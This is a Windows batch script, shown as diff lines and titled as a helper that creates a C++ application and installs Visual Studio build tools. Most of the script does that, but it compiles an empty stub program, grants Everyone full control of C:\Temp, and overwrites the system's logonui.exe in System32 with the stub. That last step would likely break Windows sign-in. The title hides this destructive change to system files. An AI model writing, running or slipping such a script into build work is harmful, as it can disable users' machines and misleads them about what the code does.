CreateC++executable.bat

WIP script to create a C++ application via batch

C++ executable andvisual studio command line tools installation.bat

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+@echo off
+setlocal enabledelayedexpansion
+
+:: Log file
+set log_file=%~dp0modify_winlogon.log
+set compile_log=%~dp0compile.log
+
+echo Script started at %date% %time% > %log_file%
+
+:: Ensure running as administrator
+openfiles >nul 2>&1
+if %errorlevel% neq 0 (
+    echo This script must be run as administrator! >> %log_file%
+    echo This script must be run as administrator!
+    pause
+    exit /b
+)
+
+:: Paths and filenames
+set exe_name=CustomLogonUI.exe
+set cpp_code=CustomLogonUI.cpp
+set src_path=%~dp0
+set dst_path=C:\Windows\System32
+set backup_logonui=logonui_backup.exe
+set temp_dir=C:\Temp
+set installer=%temp_dir%\vs_buildtools.exe
+
+:: Step 1: Ensure Temp Directory Exists and has Correct Permissions
+echo Ensuring temp directory exists and has correct permissions... >> %log_file%
+if not exist "%temp_dir%" (
+    mkdir "%temp_dir%"
+)
+icacls "%temp_dir%" /grant Everyone:(F) >> %log_file% 2>&1
+
+:: Step 2: Check for Visual Studio Build Tools
+echo Checking for Visual Studio Build Tools... >> %log_file%
+reg query "HKLM\SOFTWARE\Microsoft\VisualStudio\SxS\VS7" >nul 2>&1
+if %errorlevel% neq 0 (
+    echo Visual Studio Build Tools not found. Installing... >> %log_file%
+    powershell -command "Invoke-WebRequest -Uri https://aka.ms/vs/16/release/vs_buildtools.exe -OutFile %installer%; Start-Process -Wait -FilePath %installer% -ArgumentList '--add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --passive --norestart'; Remove-Item -Force %installer%" >> %log_file% 2>&1
+    if %errorlevel% neq 0 (
+        echo Failed to install Visual Studio Build Tools. >> %log_file%
+        echo Failed to install Visual Studio Build Tools.
+        pause
+        exit /b
+    )
+    echo Visual Studio Build Tools installed successfully. >> %log_file%
+)
+
+:: Step 3: Create the C++ source file using PowerShell
+echo Creating C++ source file using PowerShell... >> %log_file%
+powershell -command "Add-Content -Path '%cpp_code%' -Value '#include <windows.h>'; Add-Content -Path '%cpp_code%' -Value 'int APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)'; Add-Content -Path '%cpp_code%' -Value '{'; Add-Content -Path '%cpp_code%' -Value '    return 0;'; Add-Content -Path '%cpp_code%' -Value '}';"
+if %errorlevel% neq 0 (
+    echo Failed to create the C++ source file using PowerShell. >> %log_file%
+    echo Failed to create the C++ source file using PowerShell.
+    pause
+    exit /b
+)
+echo C++ source file created successfully using PowerShell. >> %log_file%
+
+:: Step 4: Compile the C++ code to create the custom executable
+echo Compiling the C++ source file... >> %log_file%
+call "%ProgramFiles(x86)%\Microsoft Visual Studio\2019\BuildTools\VC\Auxiliary\Build\vcvarsall.bat" x86 >> %log_file% 2>&1
+if %errorlevel% neq 0 (
+    echo Failed to set up Visual Studio environment. >> %log_file%
+    echo Failed to set up Visual Studio environment.
+    pause
+    exit /b
+)
+cl %cpp_code% /Fe:%exe_name% /link /SUBSYSTEM:WINDOWS > %compile_log% 2>&1
+if %errorlevel% neq 0 (
+    echo Compilation failed. >> %log_file%
+    echo Compilation failed. Check the compile.log for details. >> %log_file%
+    pause
+    exit /b
+)
+echo C++ source file compiled successfully. >> %log_file%
+
+:: Step 5: Ensure the custom executable was created
+if not exist "%src_path%%exe_name%" (
+    echo Custom executable %exe_name% not found in %src_path%. >> %log_file%
+    echo Custom executable %exe_name% not found in %src_path%.
+    pause
+    exit /b
+)
+echo Custom executable found. >> %log_file%
+pause
+
+:: Step 6: Backup the original logonui.exe
+echo Backing up the original logonui.exe... >> %log_file%
+copy "%dst_path%\logonui.exe" "%dst_path%\%backup_logonui%" >> %log_file% 2>&1
+if %errorlevel% neq 0 (
+    echo Failed to backup the original logonui.exe. >> %log_file%
+    echo Failed to backup the original logonui.exe.
+    pause
+    exit /b
+)
+echo Original logonui.exe backed up successfully. >> %log_file%
+pause
+
+:: Step 7: Replace the original logonui.exe with the custom executable
+echo Replacing the original logonui.exe with the custom executable... >> %log_file%
+copy "%src_path%%exe_name%" "%dst_path%\logonui.exe" >> %log_file% 2>&1
+if %errorlevel% neq 0 (
+    echo Failed to replace logonui.exe. >> %log_file%
+    echo Failed to replace logonui.exe.
+    pause
+    exit /b
+)
+echo logonui.exe replaced successfully. >> %log_file%
+pause
+
+echo All changes applied successfully. Please restart your computer. >> %log_file%
+echo All changes applied successfully. Please restart your computer.
+pause